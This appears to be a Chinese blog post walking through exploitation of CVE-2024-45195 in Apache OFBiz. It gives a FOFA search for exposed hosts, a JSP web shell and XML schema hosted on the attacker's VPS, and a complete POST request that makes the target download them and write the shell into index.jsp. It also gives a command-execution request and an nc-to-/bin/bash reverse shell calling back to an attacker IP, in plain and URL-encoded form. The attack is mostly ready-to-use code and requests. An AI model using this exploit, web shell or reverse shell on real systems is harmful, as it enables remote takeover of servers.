Apache OFBiz 远程代码执行漏洞复现(CVE-2024-45195)并拿到shell

FOFA:app="Apache_OFBiz"

复现:

VPS上准备两个文件

rceschema.xml

<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">

<data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">

<record name="rceentry" limit="many">

<field name="jsp" type="String" length="605" position="0"></field>

</record>

</data-file>

</data-files>

rcereport.csv

<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Ahoy!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>

POC:

POST /webtools/control/forgotPassword/viewdatafile HTTP/2

Host: 目标地址

User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: close

Content-Type: application/x-www-form-urlencoded

DATAFILE_LOCATION=http://公网ip:端口/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://公网ip:端口/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce

原来的包

服务器python开启http服务

python3 -m http.server 8888

ps:在服务器中要加这个规则,把防火墙关了

看看能不能访问

发送修改后的包

服务器上启的http服务收到访问链接

访问下列接口进行RCE验证

GET /accounting/index.jsp?cmd=id HTTP/2

Host: 对方的host

反弹shell

查询有无nc

这次使用的nc命令为

nc ip 端口 | /bin/bash|nc ip 端口

如nc 124.70.xxx.xxx 4443|/bin/bash|nc 124.70.xxx.xxx 4441

开启监听

让对方执行nc命令(要对命令进行url编码)

下面是编码后的换成自己的就好啦ps:右边没回显说明成功

nc+ip+端口%7C%2Fbin%2Fbash%7Cnc+ip+端口

可能遇到的问题:

监听不到可能是因为在入站规则没加那两个端口加一下就好了

还有关防火墙

相关推荐
智者知已应修善业11 分钟前
【51单片机普通延时奇偶灯切换】2023-4-4
c语言·经验分享·笔记·嵌入式硬件·51单片机
wdfk_prog15 分钟前
[Linux]学习笔记系列 -- [block]bio
linux·笔记·学习
熊文豪1 小时前
工业物联网时序数据库选型指南:Apache IoTDB 的技术优势与应用实践
物联网·apache·时序数据库·iotdb
9084869052 小时前
文旅业务相关前沿技术应用
学习·产品经理
GIS学姐嘉欣2 小时前
地信、测绘、遥感等专业免费学习网站推荐
学习·gis开发·webgis
杭州泽沃电子科技有限公司2 小时前
在线监测:为医药精细化工奠定安全、合规与质量基石
运维·人工智能·物联网·安全·智能监测
一个天蝎座 白勺 程序猿2 小时前
Apache IoTDB(10):数据库操作——从查询到优化的全链路实践指南
数据库·apache·时序数据库·iotdb
GIS数据转换器2 小时前
GIS+大模型助力安全风险精细化管理
大数据·网络·人工智能·安全·无人机
普普通通的南瓜3 小时前
IP证书在关键信息基础设施安全防护中的实践与挑战
网络·数据库·网络协议·tcp/ip·安全·ssl
合作小小程序员小小店3 小时前
桌面安全开发,桌面二进制%恶意行为拦截查杀%系统安全开发3.0,基于c/c++语言,mfc,win32,ring3,dll,hook,inject,无数据库
c语言·开发语言·c++·安全·系统安全